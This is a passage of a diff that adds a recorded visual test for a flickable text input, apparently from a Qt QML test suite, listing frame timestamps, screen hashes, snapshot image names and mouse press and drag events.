+ hash: "c9ec87a419171b4d6311a36c952eaef1"
+ }
+ Frame {
+ msec: 2800
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2816
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2832
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2848
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2864
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2880
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2896
+ image: "flickableInput.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2928
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2944
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2960
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2976
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2992
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 3008
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 17; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3024
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 3040
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 3056
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 3072
+ hash: "09201585ad57e87efda13c469e1bc95d"
+ }
+ Frame {
+ msec: 3088
+ hash: "09201585ad57e87efda13c469e1bc95d"
+ }
+ Frame {
+ msec: 3104
+ hash: "b816b96270a846ed5776e6f53d507eb8"
+ }
+ Frame {
+ msec: 3120
+ hash: "6ee997c78cadb4357b30db81acf4ee40"
+ }
+ Frame {
+ msec: 3136
+ hash: "abbab9e07614915a49fc8f30242932a7"
+ }
+ Frame {
+ msec: 3152
+ hash: "47f0d0fe751a8ad3dd3f6341d76c929d"
+ }
+ Frame {
+ msec: 3168
+ hash: "0304cbed0c52d5486df52312898fe81d"
+ }
+ Frame {
+ msec: 3184
+ hash: "6ac82afa8805f1bdb4c67a2f1a1aff32"
+ }
+ Frame {
+ msec: 3200
+ hash: "4cc6db0a1dbe6c70d5e2dfe60fe70a51"
+ }
+ Frame {
+ msec: 3216
+ hash: "cf04ff1b13f5aa36470fd8ae23523153"
+ }
+ Frame {
+ msec: 3232
+ hash: "20fcdfd24f21125d61ac45cbe94e48a7"
+ }
+ Frame {
+ msec: 3248
+ hash: "e017109961b5e6c6701c3045f284ebf7"
+ }
+ Frame {
+ msec: 3264
+ hash: "e017109961b5e6c6701c3045f284ebf7"
+ }
+ Frame {
+ msec: 3280
+ hash: "c2a770b8c95959f4abf91420c0a3e8b2"
+ }
+ Frame {
+ msec: 3296
+ hash: "6865c870740497e31dfeb91e09737206"
+ }
+ Frame {
+ msec: 3312
+ hash: "6865c870740497e31dfeb91e09737206"
+ }
+ Frame {
+ msec: 3328
+ hash: "6865c870740497e31dfeb91e09737206"
+ }
+ Frame {
+ msec: 3344
+ hash: "6865c870740497e31dfeb91e09737206"
+ }
+ Frame {
+ msec: 3360
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3376
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3392
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3408
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3424
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3440
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3456
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3472
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3488
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3504
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3520
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3536
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3552
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3568
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3584
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3600
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3616
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3632
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3648
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3664
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3680
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3696
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3712
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3728
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3744
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3760
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3776
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3792
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3808
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3824
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3840
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3856
+ image: "flickableInput.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3888
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3904
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3920
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3936
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3952
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 12; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3968
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Frame {
+ msec: 3984
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Frame {
+ msec: 4000
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Frame {
+ msec: 4016
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Frame {
+ msec: 4032
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Frame {
+ msec: 4048
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 13; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4064
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 16; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 20; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4080
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4096
+ hash: "ab2ea5988d2b3288d3c57369f68933dc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 31; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 36; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4112
+ hash: "986834600427959d170d547a1c5ecce0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4128
+ hash: "52847e87c1fef2d7357c86abb0944df4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4144
+ hash: "bc68a47163712646cf8439459fb0d100"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 62; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4160
+ hash: "9e9f66e9545c77a2e7ee02d46acd102e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 72; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 76; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4176
+ hash: "4e9e7500185499c5a5f9d65e0e9406a0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 80; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 83; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4192
+ hash: "550d6c645bf694c544734d67e2ae5ac3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 87; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4208
+ hash: "0736bab3f9c1cec0f944003bebe3d499"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 94; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4224
+ hash: "efffb9f6d6a7dacf297530b1cb68a713"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 100; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4240
+ hash: "d5458a8dd8a9bf22e67439c9d8d9c366"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4256
+ hash: "2d30acf6dc0e186577bd6f7ce858ab92"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 112; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4272
+ hash: "e1a926cc5f7a49c9320a8d49c8a1bb3f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 117; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 120; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4288
+ hash: "cfc9c0bca9e269887ad5c67cc684b753"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4304
+ hash: "7b561e04ef93399460eb3b4b850c3cab"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 127; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4320
+ hash: "1c17d036e08b24b47239f9a38df3d87d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 128; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 130; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4336
+ hash: "3ec95ad7622048b68a53cfd3fdeac999"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 132; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 133; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4352
+ hash: "1e20084ed70b7423885a2d0f06fba660"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 134; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 136; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4368
+ hash: "f19e136b3c3d57d8b8e63c64b17c29e4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 137; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4384
+ hash: "f19e136b3c3d57d8b8e63c64b17c29e4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 138; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4400
+ hash: "894d439a8463cf460e5a66fdcf51a1b5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 139; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4416
+ hash: "894d439a8463cf460e5a66fdcf51a1b5"
+ }
+ Frame {
+ msec: 4432
+ hash: "894d439a8463cf460e5a66fdcf51a1b5"
+ }
+ Frame {
+ msec: 4448
+ hash: "894d439a8463cf460e5a66fdcf51a1b5"
+ }
+ Frame {
+ msec: 4464
+ hash: "03c99addee96254d19db72746f1bef11"
+ }
+ Frame {
+ msec: 4480
+ hash: "03c99addee96254d19db72746f1bef11"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4496
+ hash: "cb087b0af44fd7e767b3ff5da1f49790"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 142; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 143; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4512
+ hash: "8c36fa6a9c8bfb66e272c8628aec7077"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 145; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 146; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4528
+ hash: "971154dba58b18b1d82999f5b6a40cc1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 149; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4544
+ hash: "253397b603f99f7d092dda82d794e944"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 153; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 155; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4560
+ hash: "f8ded9e6f36a35a73fbe2264321838ca"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 158; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4576
+ hash: "83b9cec7bbe65ba9d68b089211296116"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 164; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 166; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4592
+ hash: "525ffec3a2d2a7a9e0c82f2c98b09ea0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 171; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4608
+ hash: "c4fb902f66abebb6b7c3489a073e17d4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 172; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 173; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4624
+ hash: "0f4526d9f840c0a95e9d145c9822d6e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 174; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4640
+ hash: "db00d1ba5c8416b3418e9e5ca65be5ea"
+ }
+ Frame {
+ msec: 4656
+ hash: "db00d1ba5c8416b3418e9e5ca65be5ea"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4672
+ hash: "db00d1ba5c8416b3418e9e5ca65be5ea"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 176; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4688
+ hash: "d6f7a50416c3805aeafbdf55905e8276"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 177; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4704
+ hash: "d6f7a50416c3805aeafbdf55905e8276"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 178; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4720
+ hash: "7586c3d3f46eba4a1abe2fe223e7fde2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 179; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4736
+ hash: "7586c3d3f46eba4a1abe2fe223e7fde2"
+ }
+ Frame {
+ msec: 4752
+ hash: "7586c3d3f46eba4a1abe2fe223e7fde2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 180; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4768
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4784
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4800
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4816
+ image: "flickableInput.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4848
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4864
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4880
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4896
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4912
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4928
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4944
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4960
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 4976
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 4992
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5008
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5024
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5040
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5056
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5072
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5088
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5104
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5120
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5136
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5152
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5168
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5184
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5200
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5216
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5232
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5248
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5264
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5280
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5296
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5312
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5328
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5344
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5360
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5376
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5392
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5408
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5424
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5440
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5456
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 5472
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 5488
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 5504
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 5520
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 5536
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 177; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5552
+ hash: "d6f7a50416c3805aeafbdf55905e8276"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 176; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5568
+ hash: "db00d1ba5c8416b3418e9e5ca65be5ea"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 174; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 171; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5584
+ hash: "c4fb902f66abebb6b7c3489a073e17d4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 170; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5600
+ hash: "04c6accf277b5bca4c53c1817f85bafe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 166; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 164; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5616
+ hash: "8eb14964fea798ceccc150310a12fd4b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 162; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 160; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5632
+ hash: "83b9cec7bbe65ba9d68b089211296116"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 158; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 157; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5648
+ hash: "e59ae71a5636c48e6befa305eba76ec8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 155; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 153; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5664
+ hash: "73e178775ee01d28cf03378f267753b1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 150; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5680
+ hash: "253397b603f99f7d092dda82d794e944"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 148; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 146; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5696
+ hash: "971154dba58b18b1d82999f5b6a40cc1"
+ }
+ Mouse {
+ type: 5
+ button: 0
